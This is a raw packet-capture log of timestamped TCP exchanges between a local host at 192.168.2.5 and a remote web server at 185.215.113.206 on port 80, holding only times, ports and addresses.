Dec 20, 2024 16:06:58.971091032 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.971153975 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.971168995 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:58.971168995 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:58.971371889 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.051650047 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.051745892 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.051784039 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.051822901 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.051886082 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.051947117 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.052551985 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.052788019 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.053004980 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.053069115 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.053814888 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.053852081 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.053873062 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.053900957 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.054146051 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.054202080 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.054394960 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.054449081 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.055022001 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.055080891 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.055262089 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.055319071 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.055847883 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.055907011 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.055912018 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.055963993 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.122776985 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.122975111 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.123064995 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.123080015 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.123100042 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.123119116 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.123151064 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.123756886 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.123819113 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.123852968 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.123897076 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.124608994 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.124663115 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.124727964 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.124778986 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.125283003 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.125332117 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.125412941 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.125466108 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.125941038 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.126005888 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.126050949 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.126087904 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.126794100 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.126848936 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.126913071 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.127027988 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.127509117 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.127602100 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.127638102 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.127664089 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.128133059 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.128195047 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.128879070 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.128942966 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.128959894 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.128988028 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.129017115 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.129745960 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.129796982 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.130074978 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.130172014 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.130464077 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.130572081 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.130636930 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.130707026 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.131230116 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.131242990 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.131294012 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.132071018 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.132164001 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.136859894 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.136925936 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.137049913 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.137104034 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.137192011 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.137203932 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.137240887 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.137943029 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.138005972 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.138305902 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.138365030 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.138650894 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.138724089 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.138989925 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.139039993 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.139542103 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.139616013 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.139693975 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.139851093 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.140433073 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.140491009 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.140537977 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.140594959 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.141239882 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.141294003 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.141472101 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.141524076 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.142065048 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.142117977 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.142239094 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.142446041 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.142838001 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.142896891 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.143022060 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.143142939 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.143702030 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.143714905 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.143767118 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.144512892 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.144567013 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.145128012 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.145271063 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.145379066 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.145391941 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.145427942 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.145464897 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.146307945 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.146419048 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.147070885 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.147083044 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.147128105 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.147238970 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.147381067 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.148006916 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.148066044 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.148202896 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.148247004 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.148714066 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.148772001 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.148849964 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.148911953 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.149610043 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.149655104 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.149832010 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.149967909 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.150355101 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.150430918 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.150943041 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.151134968 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.151372910 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.151432991 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.151563883 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.151667118 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.152132988 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.152189016 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.152368069 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.152463913 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.152954102 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.153004885 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.153702974 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.153752089 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.153778076 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.153822899 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.153866053 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.154594898 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.154655933 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.154721975 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.154766083 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.155375957 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.155466080 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.155585051 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.155700922 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.156199932 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.156261921 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.156711102 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.156904936 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.156991959 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.157052994 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.157147884 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.157196999 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.157861948 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.157973051 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.157989979 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.158034086 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.158704042 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.158757925 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.158874989 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.158921957 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.159630060 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.159727097 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.159765005 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.159791946 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.160635948 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.160695076 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.160834074 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.160887003 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.161225080 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.161293030 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.161313057 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.161360979 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.162019968 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.162067890 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.162250996 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.162306070 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.162862062 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.162911892 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.163326025 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.163403988 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.163719893 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.163765907 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.243722916 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.243803978 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.243894100 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.243931055 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.244050980 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.244067907 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.244102955 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.244122028 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.245074987 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.245151997 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.245157003 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.245219946 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.245742083 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.245805979 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.245897055 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.245949030 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.246449947 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.246510029 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.246644020 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.246695995 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.247364044 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.247420073 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.247549057 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.247601986 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.248301983 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.248420000 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.248456955 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.248485088 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.314627886 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.314734936 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.314769030 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.314805031 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.314881086 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.314958096 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.315526962 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.315917969 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.315973043 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.316355944 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.316417933 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.316574097 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.316627026 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.317177057 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.317889929 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.317960024 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.318049908 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.318088055 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.318104029 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.318135977 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.318881989 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.318943024 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.319051981 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.319107056 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.319861889 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.320004940 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.320070028 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.320499897 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.320557117 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.320867062 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.321021080 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.321408033 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.321487904 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.321499109 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.321537971 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.322141886 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.322201014 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.322423935 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.322478056 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.323096991 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.323149920 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.323273897 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.323324919 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.323877096 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.323962927 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.324187040 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.324240923 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.324743032 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.324799061 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.325813055 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.325895071 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.329193115 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.329420090 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.329533100 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.329547882 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.329586029 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.329624891 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.329663992 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.330349922 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.330410957 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.330645084 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.330748081 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.331249952 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.331304073 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.331475973 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.331548929 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.331980944 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.332026005 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.332125902 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.332164049 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.332859039 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.332915068 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.332957983 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.333053112 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.333722115 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.333765984 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.333808899 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.333856106 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.334496975 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.334543943 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.334698915 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.334779024 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.335355997 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.335410118 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.335546970 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.335594893 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.336224079 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.336307049 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.336355925 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.336447001 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.337022066 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.337078094 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.337425947 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.337596893 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.337795973 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.337853909 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.338018894 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.338067055 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:59.338655949 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:59.338715076 CET	49769	80	192.168.2.5	185.215.113.206
